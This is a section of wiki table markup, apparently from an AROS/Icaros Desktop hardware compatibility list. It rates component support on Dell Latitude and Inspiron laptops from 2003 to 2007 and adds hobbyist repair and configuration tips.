| {{yes|IDE but needs the Dell adapter}} || {{N/A}} || {{partial|855GM Gfx (VESA only)}} || {{Yes|Intel AC97 with IDT STAC 9750 codec playback head phones only}} || {{maybe| }} || {{yes|Intel PRO 100 VE}} || {{no|Broadcom BCM4306 but exchange with atheros g in panel on laptop bottom}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || 2003 - 14 / 15 inch XGA 4:3 screen - plastic build - no sd card slot - boots from bay optical drive - not powering on/off with ac adapter is a [http://www.geekzone.co.nz/forums.asp?forumid=37&amp;topicid=30585 mobo fault of PC13 SMT 1206 ceramic cap hot] suggest [http://www.die4laser.com/D505fix/ 0.1uF 50V instead] - pc2700 333Mhz ram 1Gb max - 
|-
| Latitude D505 (some) || VIA VT8237 VX700 || {{yes|IDE}} ||  || {{partial|VESA 2d on ATI RV350 Radeon 9550}} || {{no|VIA AC97 with  codec}} || {{maybe|VIA USB glitchy}} || {{yes|VIA VT6102 Rhine-II}} || {{no|Intel 2200g Calexico2}} || &lt;!--Test Distro--&gt; || 2003 32bit little support - diagnostics pressing holding the Fn key, press the Power ON button (battery removed). Check the LEDs pattern - cmos battery behind flap in laptop battery slot - 
|-
| &lt;!--Name--&gt;Inspiron 1000 || &lt;!--Chipset--&gt;SIS || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{maybe|use VESA SIS}}  || &lt;!--Audio--&gt;{{Yes|AC97 SIS with AD1981B codec playback}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{Yes|SIS 900 but}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1 || &lt;!--Comments--&gt;2004 32bit [https://forum.level1techs.com/t/my-time-with-icaros-desktop-and-what-i-am-doing-as-a-dev-contributor-also-some-other-shit/113358 aremis using it]
|-
| &lt;!--Name--&gt;Inspiron 1100 PP07L || &lt;!--Chipset--&gt;845 || &lt;!--IDE--&gt;{{Yes| }} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Maybe|use VESA Intel 845G}} || &lt;!--Audio--&gt;{{Yes|AC'97 playback}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{Maybe|Broadcom 4401}} || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt;Icaros 1.5 || &lt;!--Comments--&gt;2004 
|-
| &lt;!--Name--&gt;Inspiron 8500 5150 || &lt;!--Chipset--&gt;P4 855GM || &lt;!--IDE--&gt;{{Yes| }} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Yes|Nvidia 5200 Go - VESA if intel gfx}} || &lt;!--Audio--&gt;{{Yes|MCP AC97 with SigmaTel 9750}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{Yes|Broadcom 440x}} || &lt;!--Wireless--&gt;{{No|Broadcom 4306 rev 02 use Atheros Mini PCI}} || &lt;!--Test Distro--&gt;Icaros 2.3 || &lt;!--Comments--&gt;2004 32bit P4 runs well but hot 
|-
| Latitude X300 PP04S small, slim and light case 
|| 855GME 
* revA00 Intel ULV 1.2 Ghz
* revA01 Intel ULV 1.4Ghz 
| {{yes|IDE internal and will boot cd/dvd through dock PR04S}} || {{N/A}} || {{partial|855GM Gfx (VESA only)}} || {{Yes|Intel AC97 with STAC 97xx codec but no audio out of the dock}} || {{maybe|works but dock usb ports and usb DVD PD01S not detected}} || {{No|Broadcom BCM5705M gigabit}} || {{no|Broadcom BCM4306 later intel - replace with atheros in the underside}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1, 2020 AROS One 1.6 usb,  || 2003 12.1&quot; 1024 x 768 - 19.5v PA-10 or PA-12 dell - ACPI works but bad s3 ram suspend sleep - no sd card boot - 1Gb max sodimm ddr 2700 
|-
| &lt;!--Name--&gt;Latitude D600 (Quanta JM2) PP05L - 600m 
|| &lt;!--Chipset--&gt;82855 PM i855 
* reva00
* revA01 
* revA02 
* revA03 
* revA04 
| &lt;!--IDE--&gt; {{yes}} || &lt;!--SATA--&gt; {{N/A}} || &lt;!--Gfx--&gt;{{Maybe|Use VESA - ATI Radeon RV250 Mobility FireGL 9000}} || &lt;!--Audio--&gt;{{Yes|AC97 -  STAC 9750}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5705}} || &lt;!--Wireless--&gt;{{no|Intel 2100 or Broadcom BCM4306 - swap for Atheros panel in base}} || &lt;!--Test Distro--&gt;2011 Icaros 1.3 and [http://www.amiga.org/forums/archive/index.php/t-62187.html 1.4.1 and 2016 2.1.1] || &lt;!--Opinion--&gt;2003 32bit 14inch using pc2100 memory with Caps light blinking is usually a memory error - Dell D505 D600 power up pressing the case docking port - 
|-
| &lt;!--Name--&gt;Latitude D600 (Quanta JM2) || &lt;!--Chipset--&gt;82855 PM i855 || &lt;!--IDE--&gt; {{yes}} || &lt;!--SATA--&gt; {{N/A}} || &lt;!--Gfx--&gt;{{Yes|2D only vidia NV28 GeForce4 Ti 4200 Go 5200 Go 5650 Go}} || &lt;!--Audio--&gt;{{Yes|AC97 - STAC 9750}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5705}} || &lt;!--Wireless--&gt;{{no|Broadcom BCM4306 mini pci - swap for Atheros}} || &lt;!--Test Distro--&gt; Icaros 1.3 and [http://www.amiga.org/forums/archive/index.php/t-62187.html 1.4.1] || &lt;!--Opinion--&gt;2003 32bit 14&quot; - solder joints on the bios chip (press down f7/f8 keys) - RAM clean with eraser - memory cover plate maybe apply some pressure - 
|-
| &lt;!--Name--&gt;D800 (Compal LA-1901) || &lt;!--Chipset--&gt;Intel 855 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt;AC97 || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;Broadcom 570x || &lt;!--Wireless--&gt;Broadcom 4309 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2004 32bit - trackpoint type pointing device - 
|-
| &lt;!--Name--&gt;D800 || &lt;!--Chipset--&gt;Intel 855 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{No|Nvidia }} || &lt;!--Audio--&gt;AC97 || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;Broadcom 570x || &lt;!--Wireless--&gt;Broadcom 4309 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2004 32bit 15inch 39cm
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Inspiron 1200 2200 PP10S Latitude 110L m350 1.3Ghz || &lt;!--Chipset--&gt;Intel 915GM || &lt;!--IDE--&gt; {{yes|UDMA boots cd or DVD and installs to HDisk}} || &lt;!--SATA--&gt; {{N/A}}|| &lt;!--Gfx--&gt;{{yes|Intel GMA900 (2D and 3D openGL 1.x) Gearbox 56}} || &lt;!--Audio--&gt;{{yes|Intel AC97 playback only}} || &lt;!--USB--&gt;{{maybe|USB 2.0}} || &lt;!--Ethernet--&gt;{{yes|Intel PRO 100 VE}} || &lt;!--Wireless--&gt;{{no|BroadCom BCM4318 - swap for Atheros mini PCI in base panel}} || &lt;!--Test Distro--&gt;Icaros 1.4.5 || &lt;!--Comments--&gt;2005 single core 32bit 14&quot; 4:3 1024 768 XGA screen - heavy 6 lbs - PA16 barrel 19V 3.16A AC adapter - battery life 4cell 29WHr lasts 2 hours - 256mb soldered with 1 ddr pc2100 sodimm 1gb max - 
|-
| &lt;!--Name--&gt;Inspiron 1300 business B130 home PP21L Latitude 120L B120 by Compal - Inspiron 630m || &lt;!--Chipset--&gt;Intel Celeron M360 1.4GHz, M370 1.50 GHz, M380 1.73GHz || &lt;!--IDE--&gt;{{Yes|boots cd or DVD and installs to HDisk}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Yes|GMA 915 2D and 3D openGL 1.x tunnel 172 gearbox 70}} || &lt;!--Audio--&gt;{{Yes|HD Audio playback ear phones only}} || &lt;!--USB--&gt;{{maybe|works but waiting boot fail with AROS One usb version}} || &lt;!--Ethernet--&gt;{{Yes|Broadcom 440x}} || &lt;!--Wireless--&gt;{{No|intel 2200 or BCM4318 swap for Atheros mini pci underside - one antenna lead for main wifi}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.2, 2020 AROS One 1.6 usb,  || &lt;!--Comments--&gt;2005 32bit single core - 14.1″ XGA 4:3 or 15.4&quot; WXGA wide 1280 x 800 matte - ddr2 sodimm ram 2gb max - PA-16 19v psu tip 7.4mm * 5mm - f10 boot select f1 f2 bios 
|-
| Latitude X1 PP05S || PP-M GMA915 rev A00 1.1GHz non-pae || {{yes|ide 1.8in zif/ce under keyboard}} || {{N/A}} || {{Maybe|Vesa for Intel 915GM}} || {{yes|AC97 6.6 playback only with STAC codec}} || {{maybe|USB 2.0 but partial boot to blank screen}} || {{No|Broadcom 5751}} || {{no|Intel 2200BG - swap for Atheros mini pci under keyboard palm rest - disassembly of all laptop}} || &lt;!--Test Distro--&gt;Icaros 2.3 dvd iso image virtualbox'd onto usb, Aros One 1.5 and 1.8 usb (2022) || 2005 32bit 12.1&quot; 4:3 1024 x 768 - sd slot not bootable - 256mb soldered to board and 1 sodimm max 1GB ddr2 under keyboard - F12 bios boot F2 - pa-17 pa17 19v octagonal psu port 
|-
| Latitude D410 PP06S 
*rev A00 
*A01, A02 
*A03 
|| GMA915 1.6GHz Pentium® M 730, 1.7GHz, 750 1.86GHz &amp; 760 2.0GHz, 770 2.13GHz || {{yes|caddy and adapter needed 2.5&quot; - remove hdd and write}} || {{N/A}} || {{Yes|Intel 915GM 2D and 3D OpenGL 1.3 tunnel 170 and gearbox 75}} || {{yes|AC97 playback only with STAC 9751 codec}} || {{maybe|works but will not boot from USB-DVD or AROS One 1.5 usb version}} || {{No|Broadcom 5751}} || {{no|Intel 2915ABG or later 2200BG - swap for Atheros mini pci under keyboard}} || &lt;!--Test Distro--&gt;2015 Icaros 1.4, 2016 2.1.1 and AROS One 1.5 usb,  || 2005 32bit 12.1&quot; 4:3 1024 x 768 - no sd card slot - PR06S dock base 
|-
| &lt;!--Name--&gt;Latitude D510 (Quanta DM1) || &lt;!--Chipset--&gt;915GM socket 479 || &lt;!--IDE--&gt; {{N/A}} || &lt;!--SATA--&gt; {{partial|IDE mode}}|| &lt;!--Gfx--&gt;{{yes|Intel GMA 915 2D and 3D}} || &lt;!--Audio--&gt;{{Yes|AC97 STAC 975x}} || &lt;!--USB--&gt; {{maybe|USB 2.0}} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5751}} || &lt;!--Wireless--&gt;{{no|Intel PRO Wireless 2200BG swap Atheros mini pci in base}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 14.1&quot; 32bit single core Intel Celeron M 1.6GHz Pentium M 730 1.73Ghz - squarish 3:2 - issues with 3rd party battery 4 quick flashes of red led with 1 final green 
|-
| &lt;!--Name--&gt;Latitude D610 (Quanta JM5B) PP11L 
|| &lt;!--Chipset--&gt;910GML 915GM with mobile 1.6 to 2.26ghz 
* Rev A0x 
* Rev A0x 
* Rev A07 1.73Ghz 
| &lt;!--IDE--&gt; {{N/A}} || &lt;!--SATA--&gt; {{partial|IDE mode}}|| &lt;!--Gfx--&gt;{{yes|Intel GMA 915 2D and 3D tunnel 174 gearbox 74}} || &lt;!--Audio--&gt;{{yes|Intel AC97 speaker head phones playback only with stac codec}} || &lt;!--USB--&gt; {{maybe|USB 2.0}} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5751}} || &lt;!--Wireless--&gt;{{no|Intel 2200BG or Broadcom mini pci under keyboard, swap wifi card for atheros 5k}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2005 32bit 14&quot; 1024 x 768 - very noisy clicky trackpad buttons - one dimm slot under keyboard and other in underside 2GB 533Mhz 667Mhz DDR2 max - 
|-
| &lt;!--Name--&gt;Latitude D610 (Quanta JM5B) 0C4717 REV A05, 0K3879 REV.A00 || &lt;!--Chipset--&gt;915GM || &lt;!--IDE--&gt; {{N/A}} || &lt;!--SATA--&gt; {{partial|IDE mode}}|| &lt;!--Gfx--&gt;{{Maybe|Use VESA 2d - Ati X300 no radeon 2d}} || &lt;!--Audio--&gt;{{yes|Intel AC97}} || &lt;!--USB--&gt; {{maybe|USB 2.0}} || &lt;!--Ethernet--&gt;{{no|Broadcom NetXtreme 57xx Gigabit replace with Atheros 5k}} || &lt;!--Wireless--&gt;{{no|Intel PRO Wireless 2200BG mini pci use Atheros 5k}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2005 32bit 14&quot; 1024 x 768 - very noisy clicky trackpad buttons - 19.5v psu 
|-
| &lt;!--Name--&gt;Latitude D810 (Quanta ) || &lt;!--Chipset--&gt;915GM || &lt;!--IDE--&gt;{{Yes| }} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Maybe|Use VESA 2d - Ati X300 RV370 M22 later x600}} || &lt;!--Audio--&gt;{{yes|Intel AC97 stereo playback only idt 9751 codec}} || &lt;!--USB--&gt; {{maybe|USB 2.0 but no boot from usb on 1.5}} || &lt;!--Ethernet--&gt;{{no|Broadcom NetXtreme 57xx Gigabit}} || &lt;!--Wireless--&gt;{{no|Intel PRO Wireless 2200BG mini pci replace with Atheros 5k}} || &lt;!--Test Distro--&gt;2017 Icaros 2.1.1, aros one 1.5 || &lt;!--Comments--&gt;2005 32bit 15.4&quot; F12 one time boot menu - 19.5v 90w psu ideal - battery not same as later dx20 ones - 
|-
| &lt;!--Name--&gt;Inspiron 6000 6400, E1505 PP20L 
*A00 Pentium M 
*A0? Core Duo 
|| &lt;!--Chipset--&gt;GM945 with PM 1.73Ghz, T2050 or T2060 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe|}} || &lt;!--Gfx--&gt;{{Maybe|vesa 2d - Ati 9700, x1300 RV515 M52, x1400 or nvidia go 7300 on mxm board}} || &lt;!--Audio--&gt;{{yes|HD Audio IDT 9200}} || &lt;!--USB--&gt;{{Yes|usb boot }} || &lt;!--Ethernet--&gt;{{Yes|Broadcom BCM4401 B0}} || &lt;!--Wireless--&gt;{{No|Intel 2200 3945 - swap for Atheros 5k}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1, AROS One 1.6 || &lt;!--Comments--&gt;2006 mostly 32bit - 15.4 inch glossy - 2 ddr2 sodimm slots - broadcom bcm92045 bluetooth detected but no support - 19.5v dell psu socket - f2 bios setup, f12 boot order - 
|-
| &lt;!--Name--&gt;Inspirion E1705 9200 9300 9400 PP12L PP14L || &lt;!--Chipset--&gt;945GM || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;proprietary Dell card/socket format Nvidia 6800, ati X300 or nVidia 7900GS gpu 3d corrupt || &lt;!--Audio--&gt;{{Maybe| }} || &lt;!--USB--&gt;{{Maybe| }} || &lt;!--Ethernet--&gt;{{Maybe|Broadcom BCM4401}} || &lt;!--Wireless--&gt;Intel 3945 swap with Atheros 5k mini pcie || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 [http://amigaworld.net/modules/news/article.php?mode=flat&amp;order=0&amp;item_id=6481 increasing vertical lines issues] 32bit - 
|-
| &lt;!--Name--&gt;Studio XPS M1210 || &lt;!--Chipset--&gt;GM945 with Core Duo to intel C2D T5500, T7400 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;nVidia G72M 7300 7400m || &lt;!--Audio--&gt;HD Audio IDT 92xx || &lt;!--USB--&gt;{{Maybe| }} || &lt;!--Ethernet--&gt;{{Maybe|Broadcom BCM4401 B0}} || &lt;!--Wireless--&gt;{{No|Broadcom BCM4311 - swap for Atheros 5k mini pci-e}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 64bit - 2 ddr2 slots max 4Gb - 
|-
| &lt;!--Name--&gt;Inspiron 1501 PP23LA Latitude 131L || &lt;!--Chipset--&gt;AMD Sempron 1.8GHz Turion MK-36 or X2 1.6Ghz TL-50 or TL-56 on ATI RS480 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|Use VESA 2d - ATI 1150 (x300) RS482M Mobility Radeon Xpress 200}} || &lt;!--Audio--&gt;{{Yes|HD audio with stac 92xx codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{Maybe|Broadcom bcm 4401}} || &lt;!--Wireless--&gt;{{No|Broadcom bcm4311 replace with Atheros 5k}} || &lt;!--Test Distro--&gt;Icaros 1.5 || &lt;!--Comments--&gt;2006 64bit 15.4 inch matt 16:10 1280x800 WXGA -  
|-
| &lt;!--Name--&gt;Inspiron 6400 (Quanta FM1)
*A00 Pentium M 
*A0? Core Duo  
*A08 Core2 Duo 
|| &lt;!--Chipset--&gt;GM945 with BGA479 (socket M) T2050 1.6Ghz, T2060 1.60Ghz, T2080 1.73Ghz much later T5500 1.66Ghz || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|GMA 2D and 3D}} || &lt;!--Audio--&gt;{{Yes|HD Audio with IDT 92xx codec}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{Yes|Broadcom BCM4401 B0}} || &lt;!--Wireless--&gt;{{No|Broadcom BCM4311 swap for Atheros 5k mini pci-e under keyboard}} || &lt;!--Test Distro--&gt;deadwood 2019-04-16 iso || &lt;!--Comments--&gt;2006 mostly 32bit - 15.4&quot; glossy - sd card - front multimedia keys - dvd rw - generic dell keyboard - coin cr2032 bios battery under keyboard - 
|-
| &lt;!--Name--&gt;Inspiron 640m PP19L XPS M140 e1405 || &lt;!--Chipset--&gt;Core Solo T2050, T2300 Duo 1.83GHz T2400 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel GMA 950 || &lt;!--Audio--&gt;HD Audio IDT || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Broadcom BCM4401-B0 100Base || &lt;!--Wireless--&gt;{{No|Intel 3945 or Broadcom 43xx, swap for Atheros 5k - Wireless Internet ON or OFF press the Function key + F2}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 32 bit - 12.1 LCD CCFL WXGA 1280x800 up to 14.1 inch 16:10 1440x900 pixel, WXGA+ UltraSharp - supports also SSE3 on duos - 
|-
| &lt;!--Name--&gt;Latitude D420 (Compal LA-3071P) PP09S 
|| &lt;!--Chipset--&gt;945 
* revA00 Solo 1.2Ghz ULV U1400
* revA01 Duo 1.06Ghz u2500
* revA02 Duo 1.2Ghz 
| &lt;!--IDE--&gt;{{yes|ZIF/CE 1.8&quot; slow under battery, ribbon cable}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{yes|Intel GMA950 - 2D and 3D opengl tunnel 138 gearbox 103}} || &lt;!--Audio--&gt;{{yes|HD Audio with STAC 92xx playback speakers head phones only)}} || &lt;!--USB--&gt;{{yes|2 and external usb optical drive works}} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5752}} || &lt;!--Wireless--&gt;{{No|Intel 3945 mini pcie - swap Atheros 5k in base panel}} || &lt;!--Test Distro--&gt;Icaros Desktop 1.4 || &lt;!--Opinion--&gt;2006 32bit only - 12.1&quot; 1280x800 - PR09S dock base rev02 DVD-RW usb boots - 1GB DDR2 2Rx16 max in base panel - f2 setup f5 diagnostics f12 boot list - 
|-
| &lt;!--Name--&gt;Latitude D520 PP17L 
|| &lt;!--Chipset--&gt;
* 64bit rev A01, A02 945GM Core2 Duo 1.83Ghz to 2.3Ghz 
* 32bit rev A00, A01 940GML Solo later Duo T2400 
| &lt;!--IDE--&gt;{{yes| Philips SDR089, Philips CDD5263, TEAC DW224EV, Optiarc AD-5540A, HL-DL-ST GSAT21N, TSSTcorp TS-L632D}} || {{Yes|bios sata set to ide mode}} || {{Yes|Intel GMA 900 series 2D and OpenGL1 3D tunnel 210 gearbox 153 teapot 27}} || {{Yes|HD audio with STAC 9200 codec}} || {{Yes|Boots and detects USB2.0}} || {{Yes|Broadcom 4400}} || {{No|Broadcom BCM4312 BCM4321 Dell 1390 / 1490 mini pcie - easy to replace with atheros 5k in base panel}} || &lt;!--Test Distro--&gt;Icaros 1.4 and 2.2 and both AROS One 1.8 and AROS One x64 1.1 USB boot || 2006 mostly 64bit 4:3 aspect ratio 14.1 (XGA 1024x768) or later 15 inches (XGA+ 1400 by 1050) - F2 enter bios F12 choose boot - 19.5v dell tip pa-12 charger - bios coin cell cr2032 battery socketed in base panel - 
|-
| &lt;!--Name--&gt;Latitude D620 (Compal LA-2792) PP18L 
|| &lt;!--Chipset--&gt;945GMS 
* rev A00 all Core Duo's 32 bit 
* rev A0x all Core 2 Duo's 64 bit 
| &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel GMA 950 (2D and 3D tunnel gearbox opengl1 || &lt;!--Audio--&gt;{{yes|HD Audio playback}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5752}} || &lt;!--Wireless--&gt;{{no|Intel 3945 mini pcie swap with Atheros 5k}} || &lt;!--Test Distro--&gt;AspireOS Xenon || &lt;!--Opinion--&gt;2006 64bit AROS capable with later revisions - 14&quot; 1280 x 800 
|-
| &lt;!--Name--&gt;Latitude D620 
|| &lt;!--Chipset--&gt;Intel i945
* revA00 all Core Duo's 32 bit 
* revA01 all Core 2 Duo's 64 bit 
| &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Nvidia 7300, 7600 NVS 110M G72 || &lt;!--Audio--&gt;{{dunno|HD Audio with STAC 9200 codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Broadcom BCM5752}} || &lt;!--Wireless--&gt; {{dunno}} || &lt;!--Test Distro--&gt; || &lt;!--Opinion--&gt;2007 1440x900 screen - LA-2792P Rev.2.0 - DT785 UC218 Fan/ Heatsink (64bit) - 
|-
| &lt;!--Name--&gt;Latitude D820 (Quanta JM6) 
|| &lt;!--Chipset--&gt;945GMS 940GML 
* rev A00 
* rev A01 
| &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Yes|Intel GMA 2D and 3D tunnel 195 - 100? gearbox 156}} || &lt;!--Audio--&gt;{{Yes|HD Audio with STAC 9200 playback}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|Broadcom BCM5752}} || &lt;!--Wireless--&gt;{{No|BCM4310 replace with mini pcie atheros 5k}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.2 || &lt;!--Opinion--&gt;2007 widescreen 15 inch 1280 x 800 matte -  - 
|-
| &lt;!--Name--&gt;Latitude D820 (Quanta JM) 
|| &lt;!--Chipset--&gt;945GMS 940GML 
* revA00 
* revA01 
| &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Maybe|Nvidia NVS 110M 120M G72}} || &lt;!--Audio--&gt;{{Yes|HD Audio STAC 9200}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|Broadcom BCM5752}} || &lt;!--Wireless--&gt;{{No|BCM4310 swap with Atheros 5k mini pcie}} || &lt;!--Test Distro--&gt; || &lt;!--Opinion--&gt;2007 64bit 15.4 1650x1050 WXGA or WSXGA+ or 1920x1200 WUXGA - 
|-
| &lt;!--Name--&gt;Dell Latitude D531 15&quot; || &lt;!--Chipset--&gt;AMD Turion X2 TL56 or TL60 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|Use VESA - ATi xpress X1270}} || &lt;!--Audio--&gt;HD Audio with IDT codec || &lt;!--USB--&gt;{{Maybe| }} || &lt;!--Ethernet--&gt;{{No|Broadcom 57xx}} || &lt;!--Wireless--&gt;Intel 3945 or Dell Wireless 1390, 1505 or BCM4311 mini pcie || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2007 64bit possible - no trackpoint - fails and goes wrong often - 
|-
| &lt;!--Name--&gt;Latitude D430 PP09S 
|| &lt;!--Chipset--&gt;945 with Core2 Duo C2D U7500 1.06GHz U7600 1.2GHz U7700 1.33GHz 
* rev A00 
* rev A01  
* rev A02 
| &lt;!--IDE--&gt;ZIF PATA IDE 1.8inch under battery and ribbon cable - slow use USB instead || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{yes|945GML 2D and 3D opengl 1.x 171 tunnel 105 gearbox}} || &lt;!--Audio--&gt;{{yes|STAC 92xx HD Audio speaker and ear phone - mono speaker}} || &lt;!--USB--&gt;{{yes|3 }} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5752}} || &lt;!--Wireless--&gt;{{no|Intel 4965 AGN or 3945 ABG mini pci-e underside with Atheros 5k mini pci-e}} || &lt;!--Test Distro--&gt;Aspire 1.8 || &lt;!--Comments--&gt;2007 64bit capable - sd card not supported - 19.5v PA12 power adapter - 12.1&quot; 1280x800 matte - f2 setup f5 diagnostics f12 boot list - 
|-
| &lt;!--Name--&gt;Latitude D530 || &lt;!--Chipset--&gt;GM965 + ICH8 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{partial|IDE mode}}|| &lt;!--Gfx--&gt;{{partial|nVidia Quadro NVS 135M 2D 3d glitches G86}} || &lt;!--Audio--&gt;{{partial|HD Audio with STAC 9205 head phones only}} || &lt;!--USB--&gt;{{yes|USB 2.0}}|| &lt;!--Ethernet--&gt;{{no|Broadcom BCM5755M}} || &lt;!--Wireless--&gt;{{no|Intel PRO Wireless 3945ABG swap with Atheros 5k}} || &lt;!--Test Distro--&gt;Icaros 1.4.5 || &lt;!--Comments--&gt;2007 [http://amigaworld.net/modules/news/article.php?mode=flat&amp;order=0&amp;item_id=6481] cool air intake from underneath needed with pa-10 or pa-3e 90w psu required - standard 4:3 ratio aspect screen - 
|-
| &lt;!--Name--&gt;Latitude D630 (Compal LA-3301P) PP18L 
|| &lt;!--Chipset--&gt;GM965 + ICH8 T7250 2.0Ghz T7300 
* revA00 
* revA01 
| &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{yes|Intel GMA X3100 (2D only, no external monitor)}} || &lt;!--Audio--&gt;{{yes|HD Audio STAC 9205 but speaker and head phones}} || &lt;!--USB--&gt;{{yes|4 USB 2.0}}|| &lt;!--Ethernet--&gt;{{no|Broadcom BCM5755M}} || &lt;!--Wireless--&gt;{{no|Broadcom BCM4312 swap with pci-e Atheros 5k under keyboard}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2007 64bit possible - F12 to choose boot option - 2 ddr2 sodimm max 4G - 4400mah 48Wh battery lasts 2 hours - 6600mah 73Wh lasts 3 hours - two wire cr2032 cmos - 
|-
| &lt;!--Name--&gt;Latitude D630 
|| &lt;!--Chipset--&gt;GM965 + ICH8 
* revA00 [http://amigaworld.net/modules/news/article.php?mode=flat&amp;order=0&amp;item_id=6481] GPU heatpad, no copper 
* revA01 0DT785 heatsink 
| &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{partial|IDE mode}}|| &lt;!--Gfx--&gt;{{partial|use VESA as nVidia NVS 135M 3d corrupts 0.7 tunnel 0.25 gearbox G86}} || &lt;!--Audio--&gt;{{partial|HD Audio with STAC 9205 head phones only}} || &lt;!--USB--&gt;{{yes|USB 2.0}}|| &lt;!--Ethernet--&gt;{{no|Broadcom BCM5755M}} || &lt;!--Wireless--&gt;{{no|Intel PRO Wireless 3945ABG swap with Atheros 5k mini pcie}} || &lt;!--Test Distro--&gt;Icaros 1.4.5 || &lt;!--Comments--&gt;2007 64bit 
|-
| &lt;!--Name--&gt;Latitude D830 
|| &lt;!--Chipset--&gt;965GM with Core2 
* revA00 
* revA01 
| &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|GM965 crestline 2d and 3d tunnel 115}} || &lt;!--Audio--&gt;{{Yes| }} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No| }} || &lt;!--Wireless--&gt;{{Maybe|replace with Atheros 5k mini pcie}} || &lt;!--Test Distro--&gt;Icaros || &lt;!--Comments--&gt;2007 15 inch 1280 x 900 but updating the LCD to WXGA or WSXGA+ could be better - 2 ddr2 sodimm - 
|-
